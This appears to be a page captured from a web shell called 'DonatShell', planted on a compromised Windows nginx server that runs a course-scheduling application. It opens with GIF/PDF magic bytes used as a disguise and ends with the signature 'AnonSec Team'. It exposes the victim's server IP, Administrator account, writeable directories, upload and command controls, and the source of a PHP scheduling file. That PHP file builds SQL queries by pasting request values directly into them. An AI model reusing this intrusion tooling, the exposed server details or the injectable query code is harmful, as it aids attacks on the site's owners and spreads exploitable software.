GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Scheduler/Schedule/MoveClass/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Scheduler/Schedule/MoveClass//MoveClassDialog.phpinc
<?
// Schedule/MoveClassDialog/MoveClassDialog.phpinc
// Create and return Move Class dialog html

t_Begin(); // Begin TRACKing MoveClassDialog.phpinc.

d_V(false,'+');
// Get weekdays.
$weekdaysD = array();
$weekdaysNumber = array();
require('site/get_weekdays.phpinc');
d_Var('$weekdayResult',$weekdayResult);
if ( $weekdayCount ) {
	query_seek($weekdayResult, 0);
	while ($weekdayInfo = query_row($weekdayResult)) {
		$weekdayD = $weekdayInfo['weekdayD'];
		$weekdaysD[$weekdayD] = array();
		$weekdaysD[$weekdayD]['weekdayId'] = $weekdayInfo['weekdayId'];
		$weekdaysD[$weekdayD]['weekdayNumber'] = $weekdayInfo['weekdayNumber'];
		$weekdaysD[$weekdayD]['weekdayDay'] = $weekdayInfo['weekdayDay'];
		$weekdaysD[$weekdayD]['weekdayWeekday'] = $weekdayInfo['weekdayWeekday'];
		$weekdayNumber = $weekdayInfo['weekdayNumber'];
		$weekdaysNumber[$weekdayNumber] = array();
		$weekdaysNumber[$weekdayNumber]['weekdayId'] = $weekdayInfo['weekdayId'];
		$weekdaysNumber[$weekdayNumber]['weekdayD'] = $weekdayInfo['weekdayD'];
		$weekdaysNumber[$weekdayNumber]['weekdayDay'] = $weekdayInfo['weekdayDay'];
		$weekdaysNumber[$weekdayNumber]['weekdayWeekday'] = $weekdayInfo['weekdayWeekday'];
	}
}
d_Var('$weekdaysD',$weekdaysD);
d_Var('$weekdaysNumber',$weekdaysNumber);
// Get departmentCode, courseNumber and courseTitle.
$query = "
		SELECT departmentCode
				 , courseNumber
				 , courseTitle
			FROM `scheduleclass`
			JOIN `course` ON course.courseId = scheduleclass.courseId
			JOIN `department` ON department.departmentId = course.departmentId
		 WHERE scheduleclassId = ".$f['scheduleclassId']."
";
d_Var('scheduleclassInfo',$query,'q');
$scheduleclassInfo = query_info($query);
d_Var('$scheduleclassInfo',$scheduleclassInfo);
// Get scheduleclass sections.
$query = "
		SELECT scheduleclassSection
			FROM `scheduleclasssection`
		 WHERE scheduleclassId = ".$f['scheduleclassId']."
	ORDER BY scheduleclassSection
";
d_Var('scheduleclasssectionResult',$query,'q');
$scheduleclasssectionResult = query_do($query);
$scheduleclasssectionCount = $GLOBALS['_QUERY']['count'];
d_Var('$scheduleclasssectionResult',$scheduleclasssectionResult);
if ( $scheduleclasssectionCount ) {
	$scheduleclasssections = query_to_list($scheduleclasssectionResult);
} else {
	$scheduleclasssections = '';
}
d_Var('$scheduleclasssections',$scheduleclasssections);
if ( $scheduleclasssections ) {
	$section = ' Section ';
	if ( $scheduleclasssectionCount  > 1 ) { $section .= 's'; }
} else {
	$section = '';
}
// Get scheduleclassmeetings.
$query = "
		SELECT scheduleclassmeetingId
				 , scheduleclassId
				 , scheduleclassmeetingBeginTime
				 , scheduleclassmeetingEndTime
				 , IFNULL(scheduleclassmeetingOnCampus, 1) AS scheduleclassmeetingOnCampus
			FROM `scheduleclassmeeting`
		 WHERE scheduleclassmeetingId = ".$f['scheduleclassmeetingId']."
";
d_Var('scheduleclassmeetingInfo',$query,'q');
$scheduleclassmeetingInfo = query_info($query);
d_Var('$scheduleclassmeetingInfo',$scheduleclassmeetingInfo);
// Get scheduleclassmeetingweekdays
$query = "
		SELECT scheduleclassmeetingweekday.weekdayId
				 , weekdayD
			FROM `scheduleclassmeetingweekday`
			JOIN `weekday` ON weekday.weekdayId = scheduleclassmeetingweekday.weekdayId
		 WHERE scheduleclassmeetingId = ".$f['scheduleclassmeetingId']."
	ORDER BY weekdayNumber
";
d_Var('scheduleclassmeetingweekdayResult',$query,'q');
$scheduleclassmeetingweekdayResult = query_do($query);
$scheduleclassmeetingweekdayCount = $GLOBALS['_QUERY']['count'];
//d_Var('$scheduleclassmeetingweekdayResult',$scheduleclassmeetingweekdayResult,'d');
// Get day from.
// $f['divId'] == 'calendar_class_8_M600' 
$divIdParts = explode('_',$f['divId']);
$scId = $divIdParts[2];
$from_day = substr($divIdParts[3],0,1);
$from_mTime = substr($divIdParts[3],1);
$difference_day = $weekdaysD[$f['droppedIn_day']]['weekdayNumber'] - $weekdaysD[$from_day]['weekdayNumber'];
$difference_mTime = $f['droppedIn_mTime'] - $from_mTime;
d_Var('$from_day',$from_day);
d_Var('$from_mTime',$from_mTime);
d_Var('$difference_day',$difference_day);
d_Var('$difference_mTime',$difference_mTime);
d_Var("strtotime(\$scheduleclassmeetingInfo['scheduleclassmeetingBeginTime'])",strtotime($scheduleclassmeetingInfo['scheduleclassmeetingBeginTime']));d_Var("strtotime(\$scheduleclassmeetingInfo['scheduleclassmeetingEndTime'])",strtotime($scheduleclassmeetingInfo['scheduleclassmeetingEndTime']));
if ( $difference_mTime >= 0 ) $difference_mTime = '+'.$difference_mTime;
d_Var('$difference_mTime',$difference_mTime);
$new_beginTime = date('H:i:s',strtotime($difference_mTime." minutes", strtotime($scheduleclassmeetingInfo['scheduleclassmeetingBeginTime'])));
$new_endTime = date('H:i:s',strtotime($difference_mTime." minutes", strtotime($scheduleclassmeetingInfo['scheduleclassmeetingEndTime'])));
d_Var('$new_beginTime',$new_beginTime);
d_Var('$new_endTime',$new_endTime);
?>
<fieldset id="fldMoveClassMeetings">
	<legend onmouseover="ttShow('<div class=&quot;actionback nowrap&quot;>Mouse-down / drag / drop to move.</div>')" onmouseout="ttHide();" class="drag_cursor"><?=$_SESSION['ROOT']['http']?>Move <span style="display: inline-block; background-image:url(<?=$_SESSION['ROOT']['http']?>/images/mousemove.png); width: 23px;">&nbsp;</span> Class</legend>
<form name="Schedule_form" id="frmSchedule_form" action="<?=$_SESSION['ROOT']['http']?>/Schedule/" method="post">
	<input type="hidden" name="form" value="Schedule_form">
	<input type="hidden" name="uuid" value="<?=uuid()?>">
	<input type="hidden" name="scheduleclassId" value="<?=$f['scheduleclassId']?>">
	<input type="hidden" name="scheduleclassmeetingId" value="<?=$f['scheduleclassmeetingId']?>">
	<input type="hidden" name="difference_day" value="<?=$difference_day?>">
	<input type="hidden" name="difference_mTime" value="<?=$difference_mTime?>">
	<!--<input type="hidden" name="scheduleclassmeetingId" value="<?=$f['scheduleclassmeetingId']?>">
	<input class="small float_right upMargin" type="button" value="Close" onClick="Cl oseDialogDiv();" onMouseOver="ttShow('Close, do not move class meetings.');" onMouseOut="ttHide();">-->
	<span class="nowrap">Move <b><?=$scheduleclassInfo['departmentCode']?><?=$scheduleclassInfo['courseNumber']?> <?=$scheduleclassInfo['courseTitle']?></b> <?=$section?><?=$scheduleclasssections?> class meetings:</span>
<?
	$weekdayNumberMin = 0;
	$weekdayNumberMax = 6;
	if ( $_SESSION['user']['calendar_dayview'] == 'Work week' ) {
		$visibleWeekdayNumberMin = 1;
		$visibleWeekdayNumberMax = 5;
	} else {
		$visibleWeekdayNumberMin = 0;
		$visibleWeekdayNumberMax = 6;
	}
	#d_Var('$weekdayNumberMin',$weekdayNumberMin,'d');
	#d_Var('$weekdayNumberMax',$weekdayNumberMax,'d');
	if ( $scheduleclassmeetingweekdayCount ) { // Are there weekdays?
		// Check for error or warning.
		$error = false;
		$warning = false;
		$problemWeekdayD = '';
		query_seek($scheduleclassmeetingweekdayResult, 0);
		while ($scheduleclassmeetingweekdayInfo = query_row($scheduleclassmeetingweekdayResult)) {
			$weekdayD = $scheduleclassmeetingweekdayInfo['weekdayD'];
			$new_weekdayNumber = $weekdaysD[$weekdayD]['weekdayNumber'] + $difference_day;
			if ( !$error && ( $new_weekdayNumber < $weekdayNumberMin || $new_weekdayNumber > $weekdayNumberMax ) ) {
				$error = true;
				$problemWeekdayD = $weekdaysNumber[$weekdaysD[$weekdayD]['weekdayNumber']]['weekdayD'];
			}
			if ( !$error && !$warning && ( $new_weekdayNumber < $visibleWeekdayNumberMin || $new_weekdayNumber > $visibleWeekdayNumberMax ) ) {
				$warning = $weekdayD;
				$problemWeekdayD = $weekdaysNumber[$new_weekdayNumber]['weekdayD'];
			}
		}
		if ( !$error ) { // Is there an error?
			if ( $warning ) {
?>
	<br><br>
	<span class="warn">Your move would change the <span class="weekday"><?=$warning?></span> meeting to <span class="weekday"><?=$problemWeekdayD?></span>, a day not visible with the current Schedule view.</span>
	<br>
<?
			}
			query_seek($scheduleclassmeetingweekdayResult, 0);
			while ($scheduleclassmeetingweekdayInfo = query_row($scheduleclassmeetingweekdayResult)) {
				// Calculate new day for meeting.
				//$difference_day
				$weekdayD = $scheduleclassmeetingweekdayInfo['weekdayD'];
				$new_weekdayNumber = $weekdaysD[$weekdayD]['weekdayNumber'] + $difference_day;
				//d_Var('$weekdayD',$weekdayD,'d');
				#d_Var('$new_weekdayNumber',$new_weekdayNumber,'d');
				#d_Var('$_SESSION',$_SESSION,'d');
				$inputId = 'chk_moveMeeting_'.$weekdayD;
				$inputName = 'moveMeeting_'.$scheduleclassmeetingweekdayInfo['weekdayId'];
	?>
		<br><label for="<?=$inputId?>"><input type="checkbox" class="movemeetingcheckbox" name="<?=$inputName?>" id="<?=$inputId?>" onClick="MoveClass_DialogClick(this);" value="<?=$weekdayD?>" data-moved-day="<?=$weekdaysNumber[$new_weekdayNumber]['weekdayD']?>" checked>
		Move the <span class="weekday"><?=$weekdayD?></span> <?=valid_time($scheduleclassmeetingInfo['scheduleclassmeetingBeginTime'],'US')?> - <?=valid_time($scheduleclassmeetingInfo['scheduleclassmeetingEndTime'],'US')?> meeting to <span class="weekday"><?=$weekdaysNumber[$new_weekdayNumber]['weekdayD']?></span> <?=valid_time($new_beginTime,'US')?> - <?=valid_time($new_endTime,'US')?></label>
	<?
		}
?>
	<br><br><? button('Move meetings','','','','','btn_MoveMeetings', !$error); ?>
<?
		} else { // Is there an error?
?>
	<br><br>
	<span class="error nowrap">Error: Your move would change the <span class="weekday"><?=$problemWeekdayD?></span> meeting to an invalid day.</span>
	<br><br>
<?
		} // Is there an error?
	} else { // Are there weekdays?
?>
	<br><span class="error nowrap">PROGRAMMING ERROR! There are no days for this meeting.</span>
	<br><br>
<?
	}
?>
<? button('Cancel','',"MoveCLass_Cancel(".$scId.");"); ?>
</form>
</fieldset>
<div style="display:none;">Load OK</div>
<div id="fldMeetings"></div><!-- Used by AddClassMeeting[] and ScheduleClassDialog_SetWidth[] may not need to be here. -->
<?


#d_On('foot');
t_End(); // End TRACKing MoveClassDialog.phpinc.
?>

Anon7 - 2022
AnonSec Team